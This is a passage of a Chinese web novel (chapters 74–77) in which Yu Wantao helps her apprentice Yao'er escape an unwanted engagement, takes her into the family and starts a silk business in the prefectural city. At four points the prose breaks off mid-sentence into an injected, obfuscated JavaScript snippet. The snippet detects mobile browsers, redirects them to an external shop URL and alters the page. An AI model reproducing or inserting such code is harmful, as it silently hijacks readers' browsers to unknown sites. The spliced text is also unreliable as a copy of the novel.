“女子成了家，最紧要的事便是伺候好丈夫，孝顺公婆，把家里打理得妥妥帖帖的，再早日生下一两个儿子，相夫教子，那才是女人的路。” “姑娘家的，整天折腾这些有甚好？生意嘛自然有家里男人打理着。” 刘母说到此处，忽然抬头看了余晚桃一眼，压低声音挽住窈儿的手，“我听说这华纱绒花铺你也有份的，等她们去了府城，这铺子就成你的了吧？” 窈儿面上笑容僵硬，欲言又止。 刘母见状一噘嘴，继续道:“等成了亲，便让郯儿过来接手铺子，这首饰的买卖名声在县里扬出去了，届时打理起来，肯定营收不错。” 这算盘，都崩到脸上来了。 真以为她听不着呀？ 余晚桃一脸无语，视线撞上对面也在吃瓜的冬枝，她咧嘴做了一个吊死鬼的表情，像是在说:还不如死了算了。 噗嗤一声，余晚桃没忍住笑了出来。 刘母说得正投入，听闻笑声立刻怒着眉回头，却见全都认真做着手上的事，好似完全没往这处看。 “刘夫人，铺子里的事我做不得主的。”，窈儿委婉笑着，说:“今儿这里您挑中的这些簪子，我都给您付了权当见面礼，若是喜欢，下次再来。” “行，我再多挑几件，你未来姑母她们应该也喜欢的。” 刘母当真是起了劲，认认真真地挑选起来，最后一结账，五两多银子，窈儿肉疼地从自己荷包里付了银子出去，笑着将人送走。 刘母领着满手东西，出去时还在抱怨这雨丝丝的天气，并叮嘱窈儿抓紧绣自己的婚服，别光顾着做生意，不然到了成亲时连件像样的婚服都没有，丢她们刘家的脸面。 “你最近嫌银子赚得多了是吧？”，窈儿送走刘夫人，耷拉着肩膀回铺里，就被余晚桃冷嗖嗖的声音喊住。 余晚桃没好气道:“平日里能说会道的，怎么到这时候窝囊成这般受气包模样，也真是有张老脸就起架子，这见面礼自古以来都是长辈给晚辈的，哪有你这样上赶着？我是真没想到，刘郯挺正派的书生，竟然有个这么拎不清的娘。” 窈儿静静站在柜台前，伸手指拨了两下算盘珠子，发出噼啪的一声响，她自言自语道:“我已经过了十六生辰，如果婚事有变，立刻便要官配出去。” “其实刘夫人说得也对，女子成亲了自该在家里相夫教子，哪能出来抛头露面的，教人轻贱。” “你若是真这样想，那我也就不说你了。”，余晚桃恨铁不成钢，淡淡抛下一句，人终归是要自己立起来的。 窈儿抬袖擦了擦眼角，转身继续去做事。 · 夜里收拾行装，余晚桃跟崔玉棠说起今日铺子里的事，她心事重重道:“我想将窈儿带走。” “带走？” “对，带去府城。”，余晚桃想着窈儿今日微红的眼角，那一幕总在心里挥之不去。 她将窈儿当妹妹般看待，传她手艺，教她做生意，一步步走过来，如今却因为这劳什子官配，只能忍着委屈去嫁人。 那刘母更不是个好相与的，真嫁过去了，往后漫长的一生，该如何捱过去？ 崔玉棠声音冷静:“且不说她与刘兄定了亲，单就带走她一事，你如何过官府那头？窈儿户籍在慈济堂，由县衙管着的，若想要带她走，得把户籍迁过来，才有可能。” “你是不知刘郯那母亲有多过分！”，余晚桃一拳锤在他肩膀上，泄愤出气，鼓着脸颊，眼睛里挑着怒火。 崔玉棠平白受了一拳也不恼火，他捏住自家娘子的手，放唇边吹了吹，温和说道:“这到底是窈儿自己的事，你如何能替她做主。” “我知道，我也不想管。”，余晚桃胸口闷疼:“可我要眼睁睁看着她跳进火坑吗？” “莫气坏了自个身子，此事解决也不难。”，崔玉棠在心里默默给好友说了一声抱歉，而后淡淡道:“你若想帮窈儿这一回，得从刘家下手。” “怎么？你有法子？” 崔玉棠很不道德地咳嗽了一声，娓娓道来他所谓的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328749|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法子。 “……” 这书生真是一肚子坏水，专门坑自己好友。 没几日便要出发去府城了。 余晚桃紧着时辰，翌日便溜达着去了街上，到刘家铺子外转了一圈，最后在附近茶楼，花几十文贿赂了一位说书先生。 回来时路过陈府，见外面停着好几辆奢华的马车，小厮们陆续往车厢里搬着东西，一位管家模样的人在旁边盯着。 “游子涧！你个懦夫！” “我刘郯竟与你称兄道弟了这么些年，真是瞎了眼！” 余晚桃刚欲抬步离开，便听到声嘶力竭的怒吼声自附近响起，她倏地震住，往陈府里扭头看去，很快便见吵吵嚷嚷的刘郯被陈府下人们夹着胳膊撵出来。 刘郯怒得面红耳赤，全然没了书生风度，似泼妇一般冲陈府叫骂了好半天，才愤恨地扭头离去。 昔日里勾肩搭背的好兄弟，怎么闹成这样了？ 余晚桃心里正疑惑着，陈府正大门开了。 游子涧阴沉着脸，大步流星踏出府门，半点不留恋地上了马车，小书童自他身后疾奔追去，须臾脚凳收起，几辆马车缓缓动了起来。 “游公子！”，余晚桃抬高音量唤了一声。 车厢内很快掀起流苏帘子，游子涧出声叫停了马车，从窗内伸出半脸，视线落在余晚桃身上。 “余小娘子，帮我托句话给二郎，我在京城里等着他。” “你要回京？”，余晚桃扬起脸，皱眉道:“游公子这般匆匆忙的离开，连跟二郎道句别的时间都没有吗？” “还是别了吧，我这人，最不擅长离别。”，游子涧没心没肺笑着，眉眼间却不似从前洒脱，仿佛有一道深刻的褶子刻了他眉宇间，显得沉重无比。 余晚桃一时无言。 游子涧却并不打算久留，扬扬手便撂下了帘子，隔绝了余晚桃的视线，马车重新启行，缓缓驶出街集。 余晚桃看着马车远去，那句“窈儿于你而言算什么？”，到底没有问出口，窈儿有她的骄傲，有些事情一旦问出口，便不值得了。 阴沉沉的天凭空起了雷声，没一会便淅淅沥沥地飘起了雨丝，都说一场秋雨一场寒，侵骨的冷风吹着雨丝斜入檐下，将躲在商铺檐间躲雨的行人泼了个透彻。 余晚桃回到家里时浑身都湿透了，还未歇口气便被崔玉棠推入了浴间，拖了个大大的浴桶出来，来来回回几趟提热水进来，催着她脱了湿衣裳，进去泡热水驱寒。 余晚桃还是要些脸，等人出去翻找衣裳了，才快速解衣，钻进浴桶里泡着。 “衣裳给你挂在这了。”，崔玉棠转过屏帘入了浴间，将手上干爽的衣裳放在余晚桃伸手可以拿到的案架上，然后抱臂站着，似乎没有要出去的打算。 余晚桃躲在水里吐着泡泡，晶莹的水珠挂在卷翘浓黑的眼睫上，一眨便掉了，顺着脸颊滑到白皙颈侧，融入水里荡起小小的涟漪。 “你在这作甚？”，余晚桃没好气地问。 崔玉棠眉眼舒展，嘴角弧度轻扬，面上端得正人君子，声音里却含着笑:“二郎在这，自是伺候娘子沐浴了。” 他忽而俯身下来，撑着浴桶边沿，视线专注:“若水凉了我也好及时更换不是？” “……” 75. 第 75 章 余晚桃再见刘母，是在茶楼里。 刘母泼蛮，揪着说书先生的衣领子朝脑袋抡案板子，说书先生抱头鼠窜，一边躲一边疾呼:“刘家婆子光天化日之下打人，没有王法了！” “泼妇，实乃泼妇！” 刘母大声嚷道:“你这混嘴子胡言乱语败坏我儿名声还有理了？还打不得你了！” “我何时败坏你儿名声了？我又没指名道姓！”，说书先生横着脖子，也是理直气壮。 二人追逐间倒把茶楼老板引过来了，他掺在中间调和好半天，才暂时歇了刘母的怒火，刘母扬声指着说书先生警告:“再敢让我听着一句诋毁我儿的话，仔细你那二两浑臭糟子，我让你真的尝尝，甚么叫不能人道！” 撂下狠话，刘母扭头离去。 围观的人吃了好一通大瓜，一个问一个，才得知原来这楼里的说书先生昨儿讲了一书生的故事，故事里那书生姓刘，府试落榜后一蹶不振，有人瞧见那书生去医馆里抓些龙虎之药，有想要和刘书生结亲的人家多番打探下才知道。 原来刘书生竟因落榜打击太大，导致不能人道了！ 那些个想结亲的人家得知消息，吓得纷纷打消了念头。 县里才多大点地方，说书先生在茶楼一吆喝出来，自然立刻有人将故事里的人物拎出来，单个比对，最后得出故事里的刘书生，便是刘郯。 刘母听了流言坐不住，立马便过来找人算账了。 从茶楼回去，刘母气冲冲地怒骂着那黑心肝的说书老家伙，正想寻家里汉子，集结一帮人再过去闹，就见自己儿子失魂落魄地回来，凭空炸出一句话来。 “娘，我要退亲。” “什么？！”，刘母登时破防，心里拔凉，她哆嗦着去抓儿子的手臂，不甘心地再次确认:“儿啊，莫不是，那些人传的……都是真的？” 刘郯皱眉，似是不想承认，可是又不得不承认，窈儿确实同县里那些人传的一样，早就和游子涧情投意合了。 虽然游子涧那懦夫不敢承认！ 他想想就气，索性道:“确实是真的，所以我不会和窈儿成亲的，我要退亲！” 刘母整个身体僵住，犹如一道惊雷照着脑袋劈下来，浑身冰凉又火燎，煎熬着脆弱的心脏，她捂着心口，哇地失声痛哭起来。 “我儿你怎这般傻啊！” “今年考不上秀才，咱可以明年，明年考不上就再明年，左右家里不缺银钱，你何苦给自己这些压力，我的儿啊！” 刘郯虽觉得莫名其妙，但此刻并不想计较这些，只再一次表明了自己要退亲的决心。 刘母擦了把眼泪，犹豫着问:“你不是很喜欢窈儿那姑娘吗？娘觉得她是个十分讨人喜欢的孩子，配你是极好的。” 她咬咬牙，“总之，得先把人抬进门来，不能退亲！大不了我们去找大夫，这病总能治好的。” 事都传出去了，这门亲事要是退掉，县里哪还有姑娘愿意入刘家的门。 “娘，你在说什么呢？”，刘郯越听越迷糊，他哪来的病？ 刘母沉默摇头，暗暗垂泪。 因为抵不过刘郯的坚持，到底还是叫上了当初保媒的媒婆，去慈济堂里把那嬷嬷请出来，又将窈儿从铺子里唤回来，两边合算着，就这么把亲事退了。 窈儿全程是白着脸的，嘴唇颤抖，听着刘郯绝情的话，一丝一毫没有顾及她的处境，坚持要退掉亲事。 拿回庚贴时，眼泪顷刻夺眶而出。 “刘郯，我并未做错任何事，你凭什么这么糟践我！主动提亲的是你，如今毫无缘由要退亲的也是你，我就这么下贱是吗？”，窈儿想到退亲后自己要面临的官配，崩溃得掩面痛哭，一直以来压抑着的情绪此时如洪水般摧跨了她。 刘郯忍着心里的痛楚，冷漠道:“窈儿，你没做错任何事，只是我无法接受被心仪之人和至交好友欺骗。” “我与游兄数年同窗情谊，为了你，毁于旦夕，窈儿，我做不到无动于衷。他回京时没有与任何人告别，就这么走了，游子涧就是一个孬种，真心话都只敢藏着掖着。” “亲事都退了，凭甚将这些事扣到窈儿头上！”，余晚桃愤怒的声音从外传来，她气势汹汹地走进来，将窈儿护到身后，指着刘郯骂:“从前还当你是个好的，却不想心思这样歹毒，你们兄弟间自己闹了龃龉，情分断了，却将这罪名按到窈儿头上去，你要脸不要？” “什么叫为了她你们的同窗情谊才毁于一旦，窈儿让你们争吵了，让你们割袍断义了？一个童生郎，哪里来的脸皮子迁怒到我们窈儿身上去！” 余晚桃许久没有骂人了，这朝开口便不留情面，将刘郯骂了个狗血淋头，刘母翘着屁股就要过来给儿子撑腰。 余晚桃顺嘴将她也骂了进去。 等骂爽了她就叉着腰，转头去寻扫帚赶人。 刘母和刘郯被扫帚赶着，好不狼狈，从慈济堂里出来时还惹了好些人笑话，接下来街头巷尾传的，估计都是刘家退亲被扫地出门的八卦。 刘家母子一走，慈济堂里安静下来。 窈儿认命一般，趴在嬷嬷的膝盖上，哽咽道:“嬷嬷，我筹谋这样久，还是逃不过官配的命运，许是生来命贱，我认了罢。” 嬷嬷怜爱地摸摸窈儿脑袋，替她擦拭去脸上的泪痕，说:“嬷嬷认识好些大户人家，你若不想官配，我就替你打点着，寻一户好人家，做个妾室，虽不是正头妻子，但也比官配给那些村头癞子要强多了。” “嬷嬷，我家二郎想认窈儿当妹妹。”，余晚桃来之前便查过十六岁官配这条律法，里头明确说了，只是要将户籍迁出慈济堂，若有其他登记户籍的门头，县衙自不会再将人强行官配出去。 在户籍上，余晚桃自己都是做不得主的，此时若要将窈儿的户籍迁过来，还得让崔玉棠去，他是户主，又有秀才功名，到县衙办理户籍转移，会简单许多。 县衙里办差的，多少都会给这位小三元些面子。 “晚桃姐姐，你……你说什么？”，窈儿怔怔的，似是不敢相信自己听到的话。 余晚桃兀自叹了一声，说:“你都喊我姐姐了，那这关系坐实了也没什么，等户籍的事办好了，我们就离开这里，去府城，好不好？” 整个耳膜霎时静了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340865|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，窈儿缓慢地眨眼，抬头去看嬷嬷，嬷嬷慈祥地对着她笑，声音落下，“我们窈儿是个有福气的，遇着贵人，往后一生定会顺顺遂遂的。” 窈儿潸然泪下，用力地点头。 · 户籍办理得很顺畅，崔玉棠几乎不费甚么功夫，就拿到了新的户籍册，看着官府落了印子，一切尘埃落定。 迁户籍时窈儿从了崔玉棠的姓，改名为崔窈儿，并且搬出了慈济堂。 因着后头院子房间不够，她只能暂时住在铺子的库房里。 一切处理妥当后，余晚桃和崔玉棠带着窈儿，余小器和余小娃，随着商队一起出发，前往府城。 余天庆一家和小细柳到城门口送行，余晚桃望着一张张熟悉的面孔，眼眶不自觉湿了，她抬高手臂用力地挥手，马车走远了，人影渐渐成了模糊的点，都不舍得收回目光。 “阿桃，我们还会回来的。”，崔玉棠将人拉回来坐好，落了帘子，在晃悠悠的马车里，声音温和，坚定地保证着。 余晚桃吸了吸鼻子:“再回来，不知道大桑村会变成什么模样？家还在不在。” “有我陪你，家一直都在。” 家，不是一间屋舍，而是屋舍里的亲人。 崔玉棠嘴角噙着笑，说:“你相公在这，窈儿也带着，去了府城也只是换个地方罢了，旁的与从前无甚分别。” 窈儿抬着下巴强调说:“兄长，是崔窈儿。” 慈济堂里的姑娘们多数都是没有姓氏的，名也只让嬷嬷随口题在册上，时至今日，窈儿才有了自己的姓氏。 ——崔窈儿。 崔玉棠点点头:“嗯，崔妹妹。” 窈儿开心地笑了，掀开帘子，看路上不断往后倒退的树木丛影，无比期待接下来府城的生活。 真正抵达府城时，已到了霜落叶黄时。 府城比较靠近北边，时节里比容县还要冷一些。 “你个愣子，快进去呀！”，跳下马车，余小器推了余小娃一把，飞快跑到前面庄子大门檐头下，甩了甩袖，跺脚抖去身上寒意。 余小娃反应过来，跟着跳下去，朝前头那两马车跑过去，声音兴奋:“东家，这就是咱在府城的庄子吗？！好漂亮！” “不晕马车了？”，余晚桃看他神采奕奕的，不似前两日萎靡了。 这小汉子身板壮实，却是个坐不得久马车的，路上颠倒着晕晕乎乎的，吐了好几回。 余小娃红着脸摇头。 “去搬行李吧，重的箱笼先留着，让你家二大爷搬。”，余晚桃舒展着筋骨，深深呼吸了一口府城微寒的空气。 “大爷是主子，怎么能干搬行李这种活，我有力气的！”，余小娃拍拍自己壮实的手臂，为了证明自己，身体力行上去就扛了一个大箱笼下来。 窈儿提着自己绸布包的包袱，站在庄子前打量以后的新家，看着上头的匾额开始跃跃欲试，想在府城里大展身手。 赚钱！ 做生意！ “余东家，你们可算是到了！” 贞娘急急忙忙地自庄子里出来，拿钥匙开了两边正大门迎人。 76. 第 76 章 … 贞娘一家自住进庄子里，便自发帮着打理起来，老太太从前在宫里当差的，如今虽已年迈，手段却紧着，将庄子事情打理得条条顺顺，俨然与刚落成时毫无人气的模样大相径庭。 两边碰了面，贞娘同自家婆婆算是正式见东家，也不敢怠慢，做了满满一桌子菜出来，给人接风洗尘。 余晚桃是留了银子在府城账上充当日常开销的，这时也不消贞娘拿自己银钱垫付，她简单介绍了一些家里情况，顺便将要招女工的打算说了。 “这几日我会把庄子的发展计划列出来，前几天托商队运到这边的蚕丝，分两批处理，窈儿你依旧负责绒花品那部分，至于绸缎布匹和双面绣团扇则要劳烦贞娘了。” 窈儿捧着碗，小口喝汤，闻言略苦恼道:“新招的女工，绒花手艺还得从头教起，怕是要些时日，没法子马上盈利。” “我们还从县里运了一批库存的绒花簪过来，应该足够支撑这一段时间了，我们前期定不会有很多客人的，名声得慢慢积累，等名声起来，簪娘们的手艺也就娴熟了。” 招工贴第二天早早便贴出去了，只是到晌午，都不见有一个女工过来报名。 窈儿急得喉咙冒火，实在想不明白这些府城里的人家怎么想的，难道看不上她们给出的工钱不成？可是这工钱也是打听过府城里均价，平衡着开出来的，不会低了去。 她见有两个布衣妇人在工贴架台那停住，纠结了半响，还是扭头走人，当下想也不想，便小跑过去拦在了人前。 “二位娘子，请问这招工帖是有什么不对吗？我看着一个月有五两银子呢，包俩餐，还提供住处，半旬能休息两日。” 那俩妇人看窈儿一脸单纯懵懂的样，便扯过她胳膊，压低声音与她道:“你可别瞧着这工钱给得高，就怕没命花呢，这庄子啊，以前闹过鬼！” 窈儿闻言震惊道:“怎么会！我听说那脏东西已经被张神婆驱逐了呀？这庄子主人命里八字贵重，最是克脏东西，自从她买下这片，周围夜里静悄悄的，一点哭声都没有了。” “你怎么知道？”，两妇人奇奇怪怪地盯着她。 窈儿抿唇，无辜笑了笑:“肯定是找人打听过的呀，我可跟你们说，这招工名额有限，要是去晚了可报不上名。” “一个月五两银子呢，你们去哪找这么高工钱的差事，你家里男人一个月怕也拿不了这么高的工钱吧？也不想想，到时候咱拿着银子回去，多威风。” 两妇人听得一愣一愣的，心里开始动摇。 五两银子咧！ “这……这真不闹鬼了？” 窈儿抬脸:“反正先进去呗，闹鬼的地方都阴森森的，咱就进去瞧瞧，青天白日的怕甚。” “这倒也是。”，俩妇人面面相觑，皆心动得紧，二人脚步一转，往庄子里打量，新装的门头刷得很雅气，且光线明亮，没有一丝阴森的气息。 “进去瞧瞧？” “去！” 妇人咬咬牙，为了五两银子的工钱，这险值得冒。 两人挨得紧紧的，结伴往庄子里斜开的小门进去。 甫一进去，便瞧见天井里宽阔的地段摆着张长桌，桌子那头坐着一位眼熟的妇人。 “贞娘？！” 贞娘抬头，双眸倏地睁大，很快露出惊喜的笑容。 · 余晚桃目送着崔玉棠和余小器进了府学，才收回视线，往庄子东面小院所在的街集逛过去，这东边是一条铺着青石板的平坦街道，两侧商铺林立，胭脂水粉，茶楼酒肆都有，放眼望去非常繁华。 与正门头那边的街道比全然不同。 由小院辟出来的铺面并未连着隔壁的商铺，中间还隔着她们庄子绕过来的围墙，余晚桃走了一圈下来，觉得这刷白的一整面墙不用来做点什么倒是可惜了。 或许可以设计一面新颖的泥壁画，带上她们庄子里的产品，顺带的还能起到宣传的作用。 “晚桃姐姐！” 头顶乍然响起一道声音，余晚桃抬起头，就见窈儿趴在墙头上，左手铲子右手糊子桶，墙头那已经被铲平了小半，堆了新泥上去。 “这是在做什么？” 窈儿笑眯眯地说:“这面围墙对着街集，旁边还连着我们对外的铺面，我瞧着单调了些，便想把墙头铲平了做个花渠，栽上些紫藤苗，等花枝长茂密了垂下去，就一整面都是紫藤花了，肯定很吸引客人。” “你这想法不错，我方才还在想这墙面可以利用起来，打算请人来画些泥壁仕女图。” 余晚桃从隔壁商铺那头走到自家铺面，估算着大概的距离，心里有了些底，隔壁是一间成衣铺子，不大不小的铺面客流却不少，她这挨得近，收拾好了没准还能蹭些客源。 穿过铺面进了庄子里的工坊区，余晚桃询问了贞娘招工的进度，得知报名的女工都没选住工坊，她挑了挑眉，心想这是既忌讳着闹鬼的传闻，又馋她开出来的工钱啊。 不过不住工坊也无碍，她还省得要另外请人管理，倒是需要加紧功夫找几个厨娘了。 招工、培训，布置铺面和备货等前期的筹备花了不少时间，真正铺子开张，是在十月初了，恰好府城里寒潮来袭，家家户户都开始赶制冬被，余晚桃蹭到了一波季节红利。 她铺子里的蚕丝雪白柔软，质地上乘，织出来的一批绸缎手感极好，染色配色都比别家布庄的丰富，且更有光泽，还精美的双面刺绣图案可选。 富贵人家都爱用些精巧漂亮的绸缎做被面，既符合身份又舒适柔软，冬日里纵使棉花填得厚了，也不会教人觉得笨重。 余晚桃这一批绸缎，很快便清库了。 “这家新开的布庄倒是不错，我摸着料子比旁家的质地要好些。” “这家好像不止卖布匹，旁边还有首饰呢。” “我家小姐的首饰都是在大铺子里定制的，这儿……怕是瞧不上。” “可是挺好看的呀，好精巧别致，我得给家里姐儿带一支回去，说不定会喜欢呢。” 铺子里同样的谈话声不少 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14361007|142744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，几乎都是一些大户人家的丫鬟，或者嬷嬷过来采买布匹，再顺道去瞧瞧首饰架上的东西，有些丫鬟会买一两支，有些却嫌弃这簪子不是金银制的，只看不买。 余晚桃把开铺子头几日的数据都整理起来，再分析，最后得出结论。 大部分带了绒花簪回去的人家，都是小门户，而不屑于买的，则是那些高门大户。 小门户虽然也有购买力，但若要将绒花簪的名声打出去，还是得靠那些有带动和影响力的贵妇或者官妇。 余晚桃咬着毛笔头，绞尽脑汁，冥思苦想。 “晚桃姐姐，今儿厨娘们炖了茶菇老鸭汤，快来喝些暖暖身子。”，窈儿在外面敲门。 余晚桃这才放弃思考，起身出去。 偏堂里，漆红杨木制的圆桌上放着一煲冒热气的砂锅，里面的汤散发着一股苦涩的草药味。 余晚桃落座后，皱着鼻子问:“汤里是不是放草药了？” 窈儿给她舀了一碗过去:“厨娘说眼下寒潮，该喝些防风寒的草药，她这放得少味道不会重，说是府城里每年入冬都会喝的药膳滋补汤。” 余晚桃脸皱成一团，费老大劲功夫才把自己劝好，喝下那一瓷碗的‘药膳滋补汤’，喝完后整个人处于一种要吐不吐的状态，她捶着胸口拍了拍，才缓过劲来。 窈儿满脸享受地喝着汤，乐道:“哪有这么夸张啊。” “剩下的你喝吧，我大概无福消受了。”，余晚桃一脸的拒绝。 “那下回我让厨娘做不放草药的。”，窈儿拿手帕擦了擦嘴角，转而说到铺子里的事，“做绸缎那批蚕丝已经用完了，但绒花品的还有很多，需要挪一些过去先用着吗？” 余晚桃摇头:“铺子里布匹卖完即止。” 窈儿:“可最近咱们铺子里的布很受欢迎啊，许多客人都想批量买呢。” “剩下的蚕丝需要留着备用，我们初来乍到，一开张就占了不少份额的布匹市场，相当于是明着抢府城里那些大布庄的生意，难保他们不会使些下作手段，这时候断货，能避一避风头。” 还有一点余晚桃没说，那就是绸缎布匹虽然暴利，但许多需要大量的蚕丝，村里养蚕大棚每出一批蚕都需要三个月左右的周期，布匹如果成了铺子里常货，那蚕丝很可能跟不上。 别的小物件倒是可以推出来，比如双面刺绣团扇，蚕丝帕子，发带饰品这些，只要名声打出去了，其他的就都不难。 窈儿道:“我瞧着隔壁街的锦庄客源极稳，许多成衣铺子都会在他们那拿货，听说锦庄在京城里的总店研制出了胡商异色同绸的秘法，最近在争取皇商名额呢，若是成功，那锦庄的身价可水涨船高了。” 余晚桃挠挠脸颊，莫名有些羞赧，当初同锦庄交易，好像是将异色同绸的法子贱卖了，后来听说这是胡商的秘法，她才恍然反应过来，这其中潜藏的巨大利益。 锦庄如果因此一跃而起，成了皇商。 她可算是在其中推了最关键的一把，也不知道能不能跟着捞口汤喝。 77. 谈合作 日子如流水般过着。 自定居到府城后，余晚桃渐渐适应了这边的消费观念，闲暇之余都会和窈儿去附近的茶楼温壶好茶，在冬日里慢悠悠品着。 期间也走动多家布庄，跟一些同行布庄达成了合作，华纱庄子在这小一月的时间里也算经营出了点名气，每日客源都比较稳定。 余晚桃打听到府城里是有商会的，凡是加入商会的铺子，都能获得商会内部的资源和优惠的采购价格，并且受到商会的保护，对外经营还有着诸多好处。 唯一坏处就是，她进不去。 商会内都是在府城里十分有名气的商户，本地的寻常人家都进不去，她这外来户刚落定的就更不可能了。 不过，要是有人帮忙举荐，那就不一样了。 余晚桃抬头看了一眼前面恢宏气派的酒楼匾额，拢紧肩上的葱绿绣枝披风朝里走，径直往二楼去，视线搜寻片刻，最后停在一处屏风前。 她边解披风带子，边扬笑走过去，“祝东家，许久不见了。” 兀自坐在桌边吃茶的男子蓦然回头，眸底倏地绽放出惊喜，熟悉的面庞上挂着灿烂的笑容，正是锦庄的少东家祝忧。 祝忧站起身迎她，打趣道:“余娘子，这么些时候没见，我方才瞧着都不太敢认你了。” 余晚桃解了披风，随手攀在椅背上，眉眼带笑:“祝东家这是哪里的话？我不还是我嘛，哪里就不敢认了。” “气质不一样了，余娘子容貌更胜以往。”，祝忧坐下，伸手替她倒了一杯热茶。 余晚桃吃了口茶，大方应道:“祝东家越来越有眼光了。” 祝忧闻言朗声大笑。 素来女子都矜持，恪守礼节，祝忧方才打趣人的话着实没规矩了些，若旁的女子听了恐是要恼一恼他这人好没规矩的。 偏生面前这位，大大方方地应了，丝毫不扭捏。 祝忧抬起吩咐小二上菜，再开口时语气正经许多:“早便听闻了你随着崔公子到府城定居，还开了分铺在这边，我是想约个时间叙叙旧，奈何一直抽不出时间，今儿才得了空。” 余晚桃笑眯眯道:“祝东家可是个大忙人，我听说锦庄最近都在筹备竞选皇商了。” “托你的福。”，祝忧声音放低了几度:“若不出意外，明年便会定下来。” 还真成了。 余晚桃摩挲着茶杯边沿，心里思考该怎么切入话题才会显得自己是‘不经意间’提起的呢。 真烦恼。 直到小二上了菜，余晚桃都没琢磨好话，干脆将心思放在一桌子菜品上，认真品尝美食。 不得不说，这府城里的酒楼就是比容县的会折腾，菜肴精致且美味，还是偏南地这边的甜口菜系。 “余娘子——” “唤余东家便是。”，余晚桃出声打断他。 祝忧从善如流:“好吧，不知余东家可听说过，年底江南府会向京城进贡一批上等绸缎，作为岁礼，是直接送入宫中的。” 余晚桃手中竹箸一顿，抬眸看着对面。 祝忧撑着下颚，侧头对上她的视线，轻笑:“此消息只流传在商会内部，余东家应该是不知道的。我们锦庄打算争一争这批绸缎单子，余东家若是有意，我们可以合作。” “你们不是有异色同绸的秘法压箱底吗？还怕争不到这单子？”，余晚桃不解。 祝忧摇头道:“那太单一了，我需要更多的布色样式和绣样，宫里头的贵人甚么好东西没见过，想要讨她们欢喜，就得别出心裁。” “我们锦庄的固有染色配比和绣样都太广泛了，宫里贵人哪能穿寻常人都有的款式，我要的便是独一无二。” 余晚桃垂眸掩住眸底喜悦。 这不就是刚瞌睡就有人来送枕头了嘛。 她心里蹦了蹦，面上却沉静，甚至表现出一副不感兴趣的样子，“府城里这么多大布庄争这个单子，我们华纱庄哪里挤得进去。” 祝忧随意道:“这好办，私底下签契书即可，明面上还是锦庄负责。” “那不成，若要合作，便是锦庄和华纱庄合作，私底下的买卖我目前没兴趣。” 祝忧闻言，啧了一声，品出点不对劲来了。 他挑眉:“你想借着和锦庄的合作，进商会？” 余晚桃但笑不语。 “余东家，你这胃口可真大啊。” 胃口大，胆子也够大，祝忧觉得不可思议，若换位思考，他刚到府城发展，根本不敢想加入本地商会的可能，简直异想天开。 余晚桃矜持地点头:“谢谢夸奖。” 她轻笑了下，正色道:“你们锦庄恰巧在竞选皇商这个关键的节骨眼上，如果能拿下这批贡绸订单，锦庄能力如何，够不够资格成为皇商，上面那些当差的自然是能瞧得见的，这笔买卖不亏。” 祝忧:“你能保证拿下这批订单？” “我能。”，余晚桃胸有成竹。 她早就研究过府城排在前面的几家大布庄，从主推款式，到经营模式，人脉背景等，锦庄在其中算是领头地位，分铺开遍各府，资本雄厚。 如果合作，她出技术，锦庄出钱，两厢互利，华纱庄也能由此打出名声，彻底在府城站稳脚跟。 “空口无凭，余东家若能拿出诚意来，入商会的事，我可以代为引荐。”，祝忧举杯，示意她以茶代酒。 余晚桃爽快地跟他碰了杯。 正事谈完，二人互相恭维着，散桌后在酒楼外驻足，客客气气地道别，不巧此时天际乌云堆叠，如柳絮般飘起了绵绵细雨。 余晚桃和祝忧皆未拿伞，便忙躲到酒楼靠近巷口的廊檐下，等着自家小厮赶马车过来接。 “府城这天是真多变。” “住久便习惯了，府城冬日雨密，空气里都是一股子霉味，等下雪就好了。” 闲聊间，巷子口里忽而传来一阵密集的脚步声，紧接着便是呜呜咽咽的哭声。 余晚桃霎时噤声，拿眼神示意身旁的祝忧。 祝忧无奈地和她换了位置。 余晚桃扒着圆形的廊柱，向巷子口探出半个脑袋，很快将巷子里的情况看分明了。 一围着蜜雪衫裘的女子在低声哭诉着，前面两个身形修长的男子几乎是告饶的姿态，在不停地哄那女子。 其中一男子，还是老熟人元府三公子，元修己。 “那是元府的两位公子，三公子元修己和元家二房庶出的六郎元修闲。” 祝忧的声音凭空出现在余晚桃头顶，竟不知何时，也跟着扒过来听墙角了。 “那位姑娘是谁？” 祝忧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 